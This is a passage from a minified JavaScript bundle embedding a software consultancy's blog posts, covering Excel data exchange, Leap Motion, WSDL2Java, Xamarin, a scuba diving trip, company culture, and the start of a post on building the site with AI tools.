errors. A common one that I've run into is that people\n tend to not be very careful about leading or trailing whitespace in\n cells. This should almost certainly be stripped in most situations\n where you find it. Note that for whatever reason, non-breaking\n spaces (`\\xA0`) are common, so make sure you're not only looking for\n ASCII whitespace.\n- Numeric formatting in Excel files can occasionally cause problems.\n For instance, if you use identifiers that look like large numbers\n (larger than can fit in a machine integer), applying formatting can\n turn them into large floating point numbers, since that's how\n languages like Perl deal with integer overflow. This will make later\n exact comparisons fail.\n- If the spreadsheet is being generated by hand, people rarely\n remember exact column orders. Keeping track of which column is\n associated with which data based on column headers rather than\n column indices tends to be much more accurate.\n- For quick and dirty data manipulation, it is often easier to convert\n the spreadsheet you received into a CSV file and modify that in a\n text editor directly, rather than actually writing a script. Using\n tabs as the separator in the CSV format (sometimes called TSV\n instead) rather than commas can avoid complexity here, since actual\n data contains literal commas much more often than it contains\n literal tabs.\n- If your programming environment doesn't have a good way of\n generating Excel files, it occasionally works to just generate CSV\n files (which is pretty trivial to do in any language) and serve them\n up with a `.xls` extension. While this isn't exactly _recommended_,\n it can save a lot of effort in some cases. (A similar trick can be\n used for Word documents by generating them as `.rtf` files and\n serving them with a `.doc` extension.)\n\n## Conclusion\n\nData exchange is a very common task when dealing with clients, and\nclients themselves typically use Excel. Learning to work within their\
1nprocesses (which typically exist because they do already actually\nwork) can be less difficult than you think, and may save both you and\nthe client a lot of time and effort.\n",icon:eJ.A,color:"green"};var eX=t(8494);let eK={slug:"leap-motion",title:"Leap Motion",excerpt:"Leap Motion is a slick little infrared sensor unit you can buy for $80 online, or at your local Best Buy. A quick install later and you can now wave your hands in space above the unit and interact with your computer in three dimensions. I had the pleasure of working with Leap for a partner proof of concept and thought I'd give you some of my early thoughts and observations.",authors:["Jay Hannah"],publishDate:new Date("2014-03-21"),category:"Development",tags:["Technology","JavaScript","Leap Motion","Graphics"],featuredImage:"/content/images/blogs/leap/leap.jpg",readTime:"5 min read",content:'Some of these resources are linked from an\n[impress.js](http://bartaz.github.io/impress.js) slideshow I\n[presented at NebraskaJS](http://nebraskajs.com/2014/leapmotion/). The\nopen-source presentation and relevant source code are available\n[on github](https://github.com/iinteractive/leapmotion).\n\nThe first decision you\'ll want to make is what computer language you\'d\nlike to work with the Leap from.\n[developer.leapmotion.com](http://developer.leapmotion.com) walks you\nthrough your options: The SDK supports C++, Java, Python, C#, Unity\nand Javascript. We had the deepest bench of resources available in\nJavascript, and I very much liked the idea of deployment via web\nservers without requiring installation on the client side, so decided\nto pursue Javascript as our platform.\n\nThe Leap SDK is available for OS X, Linux, and Windows. (Sorry, AIX\nfans.)\n\nSince we chose Javascript,\n[js.leapmotion.com](http://js.leapmotion.com) became our starting\npoint for much of our research and development. Plan on spending a\ncouple hours exploring that resource. There\'s a lot of ground to\nfamiliarize yourself with.\n\nThere are two broad categories of Leap software I\'d like to touch on.\nThe first is WebGL powered by [three.js](http://threejs.org), and the\nsecond is a 3D-ready cursor management library called\n[leap-cursor-library.js](https://github.com/aphex/leap-cursor-library.js).\n\n## WebGL (three.js)\n\nIf you haven\'t perused the [three.js examples](http://threejs.org/)\nlately you owe it to yourself to spend an hour clicking through them.\nSome are amazing, and the variety is impressive. We can interact with\nthese in 3D, hands-free, with the Leap! Perhaps we want to control\ncamera movement, flying through our scenes? Or perhaps we want to\nmanipulate (or create) 3D objects via hand movements? 3D pinch,\nspread, and swipe gestures can be useful additions to a traditional\ncommand set. Or simply augment mouse controls with positional cues, or\nby adding a few Leap gestures to your existing user interface design.\n\nThe possibilities are vast, and I predict you\'ll find yourself limited\nnot by the broad constraints of the Leap API, but by the gap between\nwhat seems like a good idea at the time versus what real-world users\nfind intuitive. I\'ve been repeatedly educated by plopping a Leap in\nfront of various users cold and watching them attempt to interact with\napplications. Often interactions I predict will be obvious fail badly\nwhile other design decisions seem to work well for untrained users.\nThe only way to know is to try it out on actual users. I predict the\nresults will surprise you.\n\n## Cursors (leap-cursor-library.js)\n\nIf you don\'t want to jump into the deep end of 3D environments yet,\nperhaps you\'d like to try your hand at mouse cursor augmentation with\nthe Leap?\n\nYou may not be aware (I certainly wasn\'t) how complex "simple" cursor\nmanipulation is if you try to handle everything yourself in Javascript\nfrom scratch. Modern Javascript libraries make it easy (terse syntax)\nto add lots of `mousemove` event handlers quickly. But how they did\nthat under the hood ain\'t pretty, unless you\'re amongst the javascript\nelite who debug `jquery.js` for fun on the weekends.\n\nLuckily for all of us, Ross Gerbasi already wrote a heap of\nunderpinnings, and put his work\n[on github](https://github.com/aphex/leap-cursor-library.js). Using\nhis library, adding basic Leap support to any website becomes trivial:\n\n```javascript\n<script type="text/javascript" src="../build/js/leap-manager.min.js"><\/script>\n<script type="text/javascript" src="../lib/js/leap.min.js"><\/script>\n<script type="text/javascript">\n LeapManager.init({\n maxCursors:5\n });\n<\/script>\n```\n\nNow suddenly when you put your hand over your Leap your fingertips all\nmagically appear on top of your website. And your `hover` and `click`\nevents will fire based on Leap position. That was easy!\n\nFrom there, explore each of\n[the examples](https://github.com/aphex/leap-cursor-library.js/tree/master/examples)\nto see the various additional features you get for free. If you\'re\nlike me you won\'t use most of them, but it\'s nice to know they\'re\nthere if you should ever decide to use them.\n\nThis library works quite well out of the box. A huge time saver. You\nshould check it out.\n\n## Gestures\n\nWhatever platform and libraries you decide to use, you\'ll want to be\naware of [gestures](http://js.leapmotion.com/api_guide#Leap_Gesture)\nearly on. The JSON API cannot be accused of\n[dumping](http://js.leapmotion.com/examples/dumper.html) insufficient\ndata at you. You\'ll pile up hundreds of kilobytes of JSON in no time.\n\nBy default each `frame` contains everything you could possibly w
1ant to\nknow about a point in time. The x, y, and z positions of each of your\nfingertips (and palms), and each of their vectors and velocities\nrelative to the previous frame. (And lots of other goodies I won\'t get\ninto here.)\n\nSo when I make a swipe motion over my Leap, I can access and process\n~60 frames per second, each containing all of the data mentioned\nabove. But what if I really don\'t care about all of that, I just want\nto do something when a swipe happens?\n\nGestures are one possible answer to coping with the data flood. In\n_addition_ to all the normal granular data above, the Leap _also_\nthrows gesture event information into frames whenever it detects a\ngesture. My swipe over my Leap throw a `swipeGesture` into the JSON\nacross every frame during which the swipe started, was in progress, or\nended. Mercifully we can decide to only pay attention to the _single_\nframe where `state = \'stop\'`. In this way, we can ignore 99% of data\nand _only_ examine a single frame wherein the gesture stopped:\n\n```javascript\nLeap.loop(function(frame) {\n frame.gestures.forEach(function(gesture,i) {\n if (gesture.state == "stop") {\n // Debug info into the DOM (via jQuery)\n var id = "gesture_" + gesture.id;\n $("#gestures").append("<span id=\'" + id + "\'>" + gesture.type + " </span>");\n $("#" + id).fadeOut(400, function() {\n this.remove();\n });\n```\n\nThis can be very useful, but be sure to allocate lots of time to\npractice with Leap gestures. I, and others, have found that you need\nto move you hand _very slowly_ when triggering gestures. But not too\nslowly. And when you swipe (slowly!) to the right you have to move\nyour hand _even slower_ back to the left to then swipe to the right\nagain. Practice, practice, practice.\n\n## Good luck!\n\nI hope you found these tips useful. Feel free to\n[contact me](mailto:[email protected]) for more pointers if\nyou get stuck. And stop by `irc.freenode.net #leapmotion` and say\n"hi." :)\n\nEnjoy!\n',icon:eX.A,color:"blue"},eQ={slug:"consuming-web-services-with-wsdl2java",title:"Consuming Web Services with WSDL2Java",excerpt:"Working with WSDLs and
1SOAP by hand can be painful and time-consuming, but WSDL2JAVA takes care of the heavy lifting by generating the necessary Java classes for you. With the right setup, you can go from WSDL to a running client in just a few steps and focus on building your application instead of wrangling XML.",authors:["Paul Zolnierczyk"],publishDate:new Date("2014-03-04"),category:"Development",tags:["Technology","Java","Web Services"],readTime:"3 min read",content:'If you\'ve come across the task of consuming a web service via a WSDL\nyou were given, there\'s a chance you may have cringed a bit. All that\nXML involved and then determining your approach is a challenge as\nwell! Do you want to use a SOAPConnectionFactory or create an XML\nmessage by hand and parse the response? These approaches will work but\nit will likely take time away from what you really want to do and that\nis develop the application you\'re working on. Along comes WSDL2JAVA, a\ntool which will build Java proxies and skeletons for services with\nWSDL descriptions. In this article I\'ll highlight the steps needed to\nconsume a web service with WSDL2JAVA.\n\n\x3c!-- cut --\x3e\n\n## Prerequisites\n\n- Eclipse or SpringSource ToolSuite (STS)\n- JDK 1.5+\n- [WSDL2JAVA plugin](http://axis.apache.org/axis2/java/core/tools/eclipse/plugin-installation.html)\n- A valid WSDL\n- A project in Eclipse/STS where you\'ll export the Java files to\n\nOptional: If you know how to use SoapUI, you can test the WSDL there.\n\nWe\'ll be using the\n[stock WSDL](http://ws.cdyne.com/delayedstockquote/delayedstockquote.asmx?wsdl)\nas an example.\n\n## Generate Java class files from WSDL\n\n1. In the IDE go to: File > New > Other. Look for Axis2 Wizards\n folder, expand it and select Axis2 Code Generator. Click Next.\n2. Select the radio button for "Generate Java source code from a WSDL\n file" and click Next.\n3. Paste in the URL of the WSDL we will be using in this example and\n click Next.\n4. In the "Codegen option" dropdown choose the "custom" option. This\n will allow you to check the checkbox for "Generate Test Case."\n Select that checkbox and click Next.\n5. Select the radio button for "Browse and select location on local\n file system" and select the high level folder for your project in\n your workspace.\n6. Select the checkbox for "Add the Axis2 codegen jars to the codegen\n project"\n7. Select the checkbox for "Add Axis2 libraries to the codegen result\n project" and browse for the high level directory where you unpacked\n the axis2 library. If you hit "Check libs..." it should return\n "Axis libs loaded successfully !!"\n8. If you want this to be packaged in a convenient jar file then go\n ahead and select "Create a jar file of codegen result project and\n add to the resulted project lib folder" and give it a meaningful\n name.\n9. Click "Finish", at this point it should begin generating the Java\n files.\n10. You may need to refresh your project in Eclipse/STS to see the\n generated files, mine are in a package com.cdyne.ws\n11. You may also need to add the axis2 jars to your project build path\n in the event you are seeing Eclipse build errors.\n12. The reason I have you create the test classes is so you can open up\n the test file and get an idea on how to invoke the web service you\n are targeting. In this example, let\'s execute "GetQuickQuote" so\n take a look at the testgetQuickQuote() method in the test file. You\n can kind of work backwards here, you know you have to create a\n quickQuote object and set the stock symbol and license key (the\n license key needs to be an empty string).\n13. Now that you see how it\'s supposed to be executed, let\'s do a quick\n and dirty test by creating a new class in the src folder called\n "StockDriver" and include the static void main method in there.\n14. Just for brevity, here is some code you can copy and paste that you should be\n able to execute:\n\n```java\nimport com.cdyne.ws.*;\n\npublic class StockDriver {\n public static void main(String[] args) throws Exception {\n\n DelayedStockQuoteStub stub = new DelayedStockQuoteStub();\n GetQuickQuote quickQuote = new GetQuickQuote();\n\n quickQuote.setStockSymbol("GOOG");\n quickQuote.setLicenseKey("");\n\n GetQuickQuoteResponse quickQuoteResponse = stub.getQuickQuote(quickQuote);\n\n System.out.println(quickQuoteResponse.getGetQuickQuoteResult());\n }\n}\n```\n\nRunning this should give you a result, today (04 March 2014) it gave\nme 1202.69.\n\nThat\'s all there is to it! Now a
1pply these steps to your project and\nstart using those web services!\n',icon:U.A,color:"green"};var eZ=t(9818);let e0={slug:"code-hard-dive-young",title:"Code Hard and Dive Young",excerpt:"Editor's note: Infinity's Notebook isn't just about our technical prowess. We also showcase some of the amazing things our team members do away from the keyboard. This week, one of our .NET developers, Alex Sparkman, writes about scuba diving in Las Vegas immediately after our company summit.",authors:["Alex Sparkman"],publishDate:new Date("2014-02-26"),category:"Culture",tags:["Culture","Passions"],readTime:"5 min read",content:'## Planning\n\nWeeks before our annual company retreat to Las Vegas,\n[Jay](http://twitter.com/deafferret)\nand [I](http://twitter.com/alexpsparkman) discovered that we both hold "Open\nWater" scuba diving certificates. We jumped on a thirty minute Skype call and\ndecided to dive Lake Mead. We\n[chartered a dive boat](http://www.scubaviews.com/) for the Monday\nmorning everyone else was flying home.\n\nPlanning was needed, because diving is risky.\n\n- Tiny air spaces in the sinuses can fail to equalize, damaging the\n ear drums.\n- Nitrogen can bubble out of tissue causing muscle and nerve damage.\n- Debris can catch on a diver\'s equipment and trap them.\n- Overexertion can cause panic.\n- Thermoclines can cool divers into hypothermic states on otherwise\n warm days.\n- Poor or changing visibility conditions can leave a diver stranded.\n\nWe planned for a typical set of two dives. The dive master recommended\nfive millimeter wet suits to fight the cold.\n\n## Dive 1\n\nThe first dive site was a sunken "Hydrohoist" used for retrieving\nsunken boats off the bottom. As the dive master explained, "once the\nhoist sunk, there was no hoist hoist to raise it."\n\nAs the ship approached the dive site, we prepared our equipment for\nthe dive. The dive master anchored the ship. Our group of four divided\ninto two pairs, so that each diver can provide air for his partner in\nan emergency.\n\nWe then slowly entered the water. We kept our heads above the water to\nensure no one encountered complications. As each of us entered we\nsignaled to the last person on the boat that we were okay.\n\nOnce everyone was in, we began our descent. The water was so cold it\nwas painful on my unprotected face: between forty-nine and fifty-five\ndegrees Fahrenheit.\n\nEveryone was descending faster than me. Without thinking I sucked in\nair through my nose. Water followed.\n\nI now had only one thought: getting out of the water. I ascended to\nthe surface, took the air supply out of my mouth, and inflated my\nflotation device (BCD).\n\nI coughed, and regained composure. Past experience would put me under\nthe water for thirty minutes. If I was going to bear the cold for that\nlong I would need to get my buoyancy under control. Either I was not\nwearing enough weight for the switch from salt water to fresh water,\nor my BCD was not correctly releasing its reserves.\n\nThe dive master resurfaced, and after a brief exchange we discovered\nmy BCD was not emptying. We fixed the problem and began the descent\nagain.\n\nJay had a camera, and was able to film bits and pieces of the dive.\nThe first dive consists of the clips\n[02](https://www.youtube.com/watch?v=5iOHLmDlBHY&list=PL8Lf7epQllMaNs6FbBz3OIwzEDzz5tQ5o)\nthrough 08.\n\nIn those videos, the black flippers are mine. The orange ones belong\nto the dive master. The blue and white stripes belong to a fourth\ndiver who was pursuing advanced certifications.\n\n## Surface Interval\n\nAfter the first dive was over, we took a short break at our anchor\npoint for our second dive outside a water treatment station used to\nmake concrete during construction of the Hoover Dam. It is basically a\nbroad cylinder with a center dial used to churn the water. Water would\nbe pumped into the top, and impurities would sink to the bottom. The\nclean water would then run off the top into the two smaller\nstructures.\n\nJay took three recordings of our surface interval in clips\n[09](https://www.youtube.com/watch?v=qboaDlxlcec&list=PL8Lf7epQllMaNs6FbBz3OIwzEDzz5tQ5o)\nthrough 11.\n\n## Dive 2\n\nThe second dive began on the shore shown in the previous videos.\nAdjusting to the temperature, and controlling my buoyancy, was a lot\neasier this time. My face numbed and I was better able to concentrate\non my environment.\n\nThe first site on this dive was a short set of stairs formed by two\npieces of rusted sheet metal. The dirt had eroded away from under each\nstep. Fish inh
1abited these dark spaces. The dive master picked up a\nrock, tearing open mollusks attached to the bottom, and flicked those\nflakes off into the water. He had no luck in coaxing the fish from\ntheir homes.\n\nWe continued to a pair of brightly colored cables strung in parallel\nlines along the bottom, held in place with rocks. These lines marked\nrailroad tracks we could no longer see since they are now covered by\ndecades of sediment.\n\nI came across a bottle of New Castle Brown Ale likely discarded from a\nparty boat over the summer. It was covered in mollusks, and filled\nwith dirt. Given my new habitat, I promptly sampled its fine selection\nof drink. The dirt poured out of the bottle, and over the mouth piece\nfor my air supply. I was not disappointed.\n\nWe finally returned to the stairs just outside our entry point. The\ndive master again picked up another rock, and returned to flicking\nflakes. The fish were slow to respond at first, but eventually the\ntemptation drew them out of hiding.\n\nJay was able to capture more footage on the second dive, which can be\nseen in clips\n[13](https://www.youtube.com/watch?v=H9YHSP-sycc&list=PL8Lf7epQllMaNs6FbBz3OIwzEDzz5tQ5o)\nthrough 16.\n\nMy favorite part was the fish feeding at the stairs in the 16th clip.\nThe following link starts the clip at\n[5:30](https://www.youtube.com/watch?v=RhMBxh-rOLE&list=PL8Lf7epQllMaNs6FbBz3OIwzEDzz5tQ5o&t=330)\nwhere it begins. The feeding ends at 8:10.\n\n## Why?\n\n**The danger is minimal with certification.** It took me one month of\nstudying, pool diving, testing, and open water diving to earn my "Open\nWater" certification. The safety skills become second nature with\npractice.\n\n**It is a chance to learn.** Aquatic life responds differently to\nlitter than non-aquatic life. The bottle provided more surface for\nmollusks to grow. Fish are a great deal less timid than their\nland-cousins. Oceans and lakes have their own "weather" systems in the\nforms of current and visibility.\n\n**It is relaxing.** The bubbling of regulators reminds me of the\nsounds of reading on a rainy day. Light dances hypnotically on the sea\nfloor. The water above is a comforting blanket from the scorching sun.\nWater pressure provides a calming weightlessness. Dive masks magnify\nthe aquatic world, inviting further exploration.\n\n**It is a challenge.** The videos above show that I have trouble\nkeeping off of the sea floor. Buoyancy control is a fundamental skill\nthat takes a lot of practice. Comparing the dive master\'s kicks to\nmine it is clear that a single, purposeful kick works better than lots\nof fluttering movement. He barely moves, conserving energy and air,\nskills that can take hundreds of dives to master.\n',icon:eZ.A,color:"blue"};var e1=t(9228);let e2={slug:"fear-and-coding-in-las-vegas",title:"Fear and Coding in Las Vegas",excerpt:"Joining a fully remote team meant trading office hallways for IRC channels, but shared tools only go so far. Our annual in-person summit brings everyone under one roof to learn, connect, swap stories, and turn coworkers into real friends â with a little Vegas energy mixed in.",authors:["Rob Kopf"],publishDate:new Date("2014-01-15"),category:"Culture",tags:["Culture","Conferences","Summit","Passions","Communication"],readTime:"3 min read",featuredImage:"/content/images/blogs/fear-and-coding-in-lv/infinity-steadman.png",content:'I joined Infinity a little over two years ago. Came from a much more\ntraditional corporate culture. A culture contained in traditional\nbrick-and-mortar buildings. You could stop by a coworkerâs cube and\nbump into folks in the lunchroom. Infinity has no brick-and-mortar\nhome. Weâre a distributed workforce with our ~25 people spread out all\nacross the US. Each of us works from our home. Our water cooler is an\nIRC channel called #general.\n\n\x3c!-- cut --\x3e\n\n## What to do when you donât have a water cooler\n\nTechnology helps, and we maximize a variety of tools (IRC, Skype,\nWikis, IM, and so on) to reduce the distance. Still, nothing beats\nconcentrated face-to-face time and shared experience.\n\nTo give us that chance to be under the same roof and spend quality\ntime together, a few years ago we introduced an annual company-wide\nmeeting. We fly everyone from wherever they are to one city for an\ninternal
1conference. A âsummit.â\n\n## Summit\n\n<div class="float:left">\n <img src="/content/images/blogs/fear-and-coding-in-lv/ii-circle-black.jpg" width="200" />\n</div>\n\n**Sum\xb7mit : noun \\ËsÉ-mÉt\\ : a meeting or series of meetings between the\nleaders of two or more governments**\n<br/>\nWe stretch this definition a little bit so it includes all our people.\nThe Infinity Summit is three days of information sharing, learning,\nand bonding. This year, there will be ~25 sessions where our people\nwill show off the formidable work done for partners/clients, introduce\nnew technologies theyâve toyed with, and unveil their skunkworks &\npassion projects. Websites, widgets, and wonkiness. I canât wait. I\nlove it.\n\nAnd it works. Itâs a catalyst. For example, Summit 2012 taught us\nabout HTML5 & YUI, which formed the basis for much of the work we did\nin 2012. As a result of Summit 2013, we saw a passion project\ntransformed into an entire new line of business --- training of our\nclientsâ internal developers which in turn lead to a host of new\nopportunities with new partners.\n\n## Adding to the wolf-pack\n\nWhat I love most, though? What really makes me look forward to the\nSummit? Itâs the in between times. Itâs those times before & after the\nsessions about our work. This is where I get to find out about Treyâs\nguitars and Charlesâs wedded bliss. About Jayâs motorcycles and Paulâs\nBlackhawk love. Of Andrewâs, Tommyâs, and Jeremyâs new family\nadditions. And where I can take a few minutes to rub in that my Boston\nRed Sox are World Series Champions to Tommy (a Yankee season ticket\nholder.) Itâs in these casual times --- where weâre sitting on the\ncouch with a beer --- that any last semblances of the guy sitting\nacross from me being âemployee 8â disappears and Iâm just sitting and\ntalking with my friend. Thatâs what itâs all about.\n\n## âA little bit of this town goes a very long way.â - Hunter S. Thompson\n\n<img src="/content/images/blogs/fear-and-coding-in-lv/las-vegas-sign.png" width="200" shadowoverride="true" />\n\nOh, and did I mention that it all takes place in Vegas? Yeah,\nthereâs that side of it, too. Not a bad place to spend 3 days in\nJanuary with 25 friends.\n',icon:e1.A,color:"red"},e5={slug:"xamarin-an-exciting-option-for-cross-platform-mobile-development",title:"Xamarin: An exciting option for cross-platform mobile development",excerpt:"Xamarin offers a way to build true native applications while sharing a large portion of code across platforms, making it an appealing option for serious mobile development.",authors:["Sean Sparkman"],publishDate:new Date("2014-01-13"),category:"Development",tags:["Xamarin","Mobile","Technology","DotNET"],readTime:"3 min read",content:"HTML 5 has proven to not be the silver bullet everyone hoped for. By\ntheir own admission, Facebook's biggest mistake was betting on HTML 5.\nWhile it works well for content, anything more than that needs native\nperformance. Mobile users _demand_ native performance. The first few\nseconds of any mobile user's experience is the most important. Users\nwill uninstall or never again open an app if they are dissatisfied in\nthose crucial first moments. So what is the answer if it's not HTML 5?\nThere's a case to be made that it's [Xamarin](http://xamarin.com/).\n\n\x3c!-- cut --\x3e\n\n## What is Xamarin?\n\nIt originates from Ximian, a little company that started an open\nsource project called Mono. Mono is an open source framework that\nimplements .NET for non-Windows platforms like iOS, Android, and\nLinux. After a series of corporate acquisitions and firings (first\nNovell bought Ximian, then Attachmate bought Novell, and finally\nAttachmate laid off the former Ximian developers), Mono and the\nassociated technologies are now supported by Xamarin. Their primary\nproduct is a cross-platform IDE for mobile development by the same\nname.\n\nXamarin applications are written in C# or F#. Those are .NET framework\nlanguages, right? How does that work? As mentioned above, Xamarin uses\nthe Mono framework. Mono is like .NET's younger sibling. Almost all of\nthe .NET framework has been implemented in Mono. There are many open\nsource projects that work in Mono as well. Have an existing .NET\nlibrary? It works in Mono too, so you can use it on iOS and Android.\
1n\nXamarin code compiles to a native application for the platforms you\ntarget. This is not just a language converter or some wrapper for a\nweb application. Applications using Xamarin perform just like an\napplication written in the native language of that platform.\n\n## Where is the Catch?\n\nThere has to be a catch. There always is. Well, Xamarin's catch is not\nwithin the framework itself. It lies in the user interfaces of the\ntargeted devices. The typical Android user will not use an application\nthat looks like an iPhone app, and vice versa. Users have an expected\nexperience, so you have to accommodate for that. Hardware buttons in\nAndroid are also different from hardware buttons in iPhone. User\ninterfaces have to be customized to the platform.\n\nThat seems like a big catch when first looking at it. However, upon\ncloser inspection, most of a mobile application's coding is not\ninterfacing with the user but interacting with web services, making\ncalculations, and so on. A big chunk of the maintenance work also lies\nwithin the backend of the application. In non-cross-platform\napplications, one platform's updates will run behind the other. The\nfix or update to match the web service will have to be written in its\nown language. If your web application is also implemented in .NET,\ncode can be shared with the web application too.\n\nXamarin users are boasting numbers of up to 80% code sharing (see, for\nexample,\n[this talk presented at Xamarin EVOLVE 2013](http://xamarin.com/evolve/2013#session-shy07zqsoz)).\nWhen you move the application flow into code sharing using libraries\nlike [MvvmCross](https://github.com/MvvmCross/MvvmCross), your code\nsharing goes even further.\n\nAt Infinity, our test drives of Xamarin have left us impressed with\nthe possibilities of the technology. We're actively seeking projects\nwhere we can put our knowledge to a real-world test --- maybe yours\nwill be the first?\n",icon:M.A,color:"purple"};var e6=t(4893);let e3={slug:"mitigated-speech-the-success-connection",title:"Mitigated Speech: The Success Connection",excerpt:"Mitigated speech can feel polite or respectful, but in collaborative and fast-moving work it often leads to confusion and missed expectations. Learning when to speak plainly, and how to create space for honest communication, helps teams avoid unnecessary risk and stay aligned.",authors:["Tracey Shirley"],publishDate:new Date("2013-12-18"),category:"Culture",tags:["Culture","Communication"],readTime:"3 min read",content:'Any industry that relies on "communication" is at risk of failure, or\npartial failure, due to mitigated speech versus direct speech. That\nfailure can be as simple as a missed deadline, or as catastrophic as a\ncomplete failure of the project.\n\n\x3c!-- cut --\x3e\n\nThere are times when mitigated speech is preferred and kinder.\nSugarcoat, soften, your message if you find your mother is insisting\non wearing a dress she wore 35 years ago, when she was younger and the\ndress was in style.\n\nAnd there are times when mitigated speech is not OK. Let\'s say, your\nteen-ager is learning to drive and approaching a curve at a dangerous\nspeed.\n\n## The most common reasons for mitigated speech include\n\n- Age, and or age differences, of the speaker and the listener\n- The experience levels of the speaker and the listener\n- Relationship of speaker to listener (co-workers, manager/associate,\n client/contractor, etc.)\n- Cultural upbringing of speaker and the listener\n- Gender(s) of the speaker and the listener\n\n## Degrees of mitigated speech\n\n- **Hint** _(least effective)_\n <br/> I wonder if the client really meant to use that font.\n- **Preference**\n <br/> Maybe we should re-read the technical requirements.\n- **Question**\n <br/> Do you think we should just use the font even though we are not sure?\n- **Team Suggestion**\n <br/> Why don\'t we wait till the next project meeting and ask about it?\n- **Team Obligation Statement**\n <br/> We need to ask for guidance before proceeding.\n- **Command** _(most effective)_\n <br/> We will not be able to proceed without an answer. So, I have emailed for clarification.\n\n## Breaking the pattern\n\nBreaking a pattern of mitigated speech **_requires both the speaker\nand the listener_** to recognize the conversation is taking place with\nless than the required direct communication needed and act\naccordingly.\n\nIn any effective "conversation" the role of speaker and listener will,\nand should, change several times between the people engaged in the\ndiscussion.\n\nThe speaker needs to make sure they are using unambiguou
1s language and\nthat what they are saying or attempting to say IS being heard. If not,\nsay it again.\n\nThe listener(s) needs to ensure the speaker is comfortable expressing\nconcern, even if it is ultimately determined that concern was not\nwarranted.\n\nListeners have an obligation to err on the side of caution; if there\nis any confusion, or just to ensure you understand exactly what was\nsaid, it is often a good idea to rephrase what you think you heard.\n\nIf the speaker and the listener are saying and hearing the same thing,\nthe risk is mitigated, not the speech.\n\n## What this mean to us\n\nAt Infinity Interactive we embrace multiple modes of communicating,\nEmail, IM, Group Chat, Skype, Issue Tracking System. We strive to be\nconcise, clear, and encourage others to speak up if they feel we are\nnot on the same page. We, with grace and humor, acknowledge when\nconfusion arises and examine the dialog to learn what contributed to\nthe mis-understanding—and tuck any "lessons learned" away for\nfuture reference.\n\nRemember, if listeners are questioning what you are saying, it most\nlikely is not them questioning your position or decision. It is more\nlikely they are seeking clarification for something they may feel\nneeds clarifying. Encourage active communication (speaking &\nlistening); you might just be pleasantly surprised by what you hear!\n',icon:e6.A,color:"amber"},e8={slug:"why-do-we-exist",title:"Why do we exist?",excerpt:"Infinity wasn't built just to serve clients â it was built to be an extraordinary place for technologists who love what they do. We value creativity, curiosity, and passion above hierarchy, and this blog is your window into the minds of our kick-ass team.",authors:["Jeremy Shao"],publishDate:new Date("2013-11-13"),category:"Culture",tags:["Culture","Partners","Passions","People"],readTime:"2 min read",featuredImage:"/content/images/blogs/why-do-we-exist/welcome.jpg",content:"## Why do we exist?\n\nIâm not speaking on a molecular level, nor am I talking about the\nhuman raceâs larger role in the universe, but rather something\nsimpler, but of equal importance to me.. and you.\n\n### Why does Infinity exist?\n\nFor our clients? Yes⦠and no.<br> To make money? Yes again, for our\nfamilies and ourselves⦠but also no.<br> Fame? No⦠but weâve managed\nto make quite a name for ourselves along the way.\n\nOur purpose, our reason for being, is to create an amazing place to\nwork for people who love technology.\n\nEven in todayâs world, where so much of our productivity is driven by\ntechnology, most larger (and older) organizations tend to view the\ncontributions of their technology staff as secondary to that of\ntraditional front-line roles. Technologists are often last to the\ntable, their recommendations muted, their failures trumpeted and their\ntime undervalued.\n\nIn our company, we cherish our technologists for their creativity,\ntheir passion, their dedication and their commitment. We understand\nwhat motivates technologists and are adept at cultivating their\ncollective talents into a cohesive team.\n\nItâs important that you understand our motivation.<br> We are here\nbecause we love working together and want a culture that very few can\nprovide.<br> Youâre just lucky enough to benefit from a team of highly\nmotivated, brilliant, kick-ass problem solvers.\n\nOur team is united in purpose, but our interests outside of bits and\nbytes range from driving around the country with a laptop and a\npaintbrush, learning Japanese for fun, backpacking the Appalachian\nTrail and turning a popcorn maker into a gourmet coffee roaster. We\ndecided to create this blog and have everyone on our team contribute\nso that you could get to know some of our amazing people.\n\nStay tuned for a peek inside the mind of the geek.\n\nRegards,<br>\nJeremy Shao\n",icon:W.A,color:"blue"},e7={slug:"how-we-built-this-in-30-days",title:"How We Built This In 30 Days",excerpt:"How three experienced developers built a modern marketing website with 200+ static pages in 30 days of work time using Next.js 15, Tailwind CSS v4, Claude Code, and Cursor IDEâwithout compromising human ownership of every line of code.",authors:["Eric Wagoner","Sharni Zaugg","John Bowser"],publishDate:new Date("2025-11-17"),category:"Development",tags:["Agile","AI"],readTime:"10 min read",content:'When we set out to rebuild Infinity Interactive\'s website, we knew we needed to move fast. But we also knew we needed to tell a different story.\n\nOur legacy site reflected a time when technical people brought us in to help them do technical work. But our business had evolved. In recent years, most of our clients have been small business owners and directors at larger companies: people who need technical problems solved but don\'t want to manage the technical details themselves. We needed to show them who we are, how we work, and how we
1can seamlessly take technical headaches off their hands.\n\nAs experienced developers who build software day in and day out, we already use the latest generation of AI tools in our daily work. For this project, we leveraged that experience and Claude Code as our assistant to deliver results quickly without compromising quality.\n\nThe result? A fully static Next.js website with over 200 pages, a complete blog migration, and a modern design systemâall built in about 30 days of actual work time (spread over 8 calendar weeks while we handled client projects). Here\'s how we did it.\n\n## The Starting Line: September 22, 2025\n\nOur journey began with a single commit: "Initial commit." We started with a proof of concept (a React SPA with React Router) to quickly validate our design ideas and content structure. Like most real-world projects, we knew we\'d evolve the architecture as we learned what we actually needed.\n\nWe also made another key decision: we would use AI-assisted development tools throughout the project. Specifically, **Claude Code** and the **Cursor IDE** as our primary assistants. Not to write code for us, but to help us move faster on the decisions we made and the code we wrote.\n\n### Setting Up for Success\n\nOne of our first moves was integrating Claude Code directly into our GitHub workflow. We added two GitHub Actions:\n\n1. **Claude PR Assistant** - Automated PR descriptions and summaries\n2. **Claude Code Review** - Automated code reviews on pull requests\n\nThis gave us an additional layer of review, catching potential issues before human review. But make no mistakeâwe reviewed every line of code ourselves and made all the architectural decisions.\n\n## Week 1-2: Foundation and Design\n\nThe first two weeks focused on establishing our architecture and design language.\n\n### Modern Design System Implementation\n\nOn October 8, Eric tackled one of the biggest early challenges: implementing a comprehensive brand design system. This wasn\'t just about making things look pretty. It was about creating a cohesive visual language that would scale across dozens of pages.\
